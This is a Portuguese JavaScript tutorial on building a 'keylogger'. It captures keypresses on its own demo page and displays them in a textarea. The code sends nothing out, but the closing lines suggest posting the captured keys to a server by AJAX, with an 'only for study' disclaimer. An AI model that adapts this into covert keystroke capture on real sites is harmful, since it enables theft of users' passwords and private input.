Como criar um Keylogger usando java script .


Criando um Keylogger pelo java script
Vamos começar com nosso código base para trabalharmos em cima.
Primeiro crie uma pasta com o nome que quiser, la dentro coloque dois arquivos, um chamado 
index.html (ou qualquer outro que quiser) e outro 
js.js


Agora abra ambos em seu editor favorito.

No HTML vamos ter este conteúdo
Code             
  1. <script src="js.js"></script>

E no Javascript
Code             
  1. ;(function(){
  2. /* Código aqui */
  3. }());

Primeiro de tudo, vamos criar um array vazio que posteriormente vai receber as teclas digitadas pelo usuário
Code             
  1. ;(function(){
  2.    var keystrokes = [];
  3. }());

Agora vamos capturar quando o usuário digitar qualquer coisa no documento, usando a função 
onkeypress
 do Javascript
Code             
  1. ;(function(){
  2.    var keystrokes = [];
  3.    document.onkeypress = function(){
  4.       alert("usuario clicou alguma coisa");
  5.    };
  6. }());

Vamos avançar um pouco mais, agora identificando qual letra o cara digitou, usando agora a função 
window.event.keyCode
 para ver qual o decimal que ele digitou e 
String.fromCharCode()
 para tornar isso uma letra que estamos acostumados.
Code             
  1. ;(function(){
  2.    var keystrokes = [];
  3.    document.onkeypress = function(){
  4.       alert(String.fromCharCode(window.event.keyCode));
  5.    };
  6. }());

Pode testar abrindo o 
index.html
 e digitando qualquer coisa ali.

Bom, mas não estamos fazendo nada com isso. Precisamos salvar essas teclas que o user ta digitando, então o que fazemos é usar o método 
push
 para adicionar cada tecla ao array que criamos e deixamos vazio.
Code             
  1. ;(function(){
  2.    var keystrokes = [];
  3.    document.onkeypress = function(){
  4.       keystrokes.push(String.fromCharCode(window.event.keyCode));
  5.       alert(keystrokes);
  6.    };
  7. }());

Note que agora o 
alert
 retorna todas as teclas separadas por vírgula.

Bom, agora o que vamos fazer, é modificar alguns elementos no nosso HTML para ler os dados e fazer nossos testes

Code             
  1. <style type="text/css">
  2. /* Some style ;) */
  3. textarea#keylogger {
  4.    width: 600px;
  5.    min-height: 200px;
  6.    display: block;
  7.    outline: none;
  8. }
  9. </style>
  10. <h1>Keylogger</h1>
  11. <textarea id="keylogger"></textarea>
  12. <button id="key">Carregar keys</button>
  13. <script src="js.js"></script>

E agora para finalizar, vamos adicionar um evento 
onclick
 e adicionar isso ao 
textarea
 que nós criamos no HTML
Code             
  1. ;(function(){
  2.    var keystrokes = [];
  3.    document.onkeypress = function(){
  4.       keystrokes.push(String.fromCharCode(window.event.keyCode));
  5.    };
  6.     document.getElementById('key').onclick = function(){
  7.        var keylogger = document.getElementById('keylogger');
  8.        keylogger.value = keylogger.value + keystrokes.join("");
  9.         keystrokes = [];
  10.     };
  11. }());

Com 
keystrokes.join("");
 eu junto todas as letras do array para evitar que elas sejam mostradas com vírgulas.

Isso é só um exemplo bem básico, que não faz nada demais. Mas é possível enviar essas letras por AJAX para um servidor e guardar os dados, ou guardar no localStorage, as possibilidades são infinitas...

Lembrando que isso é apenas para estudos.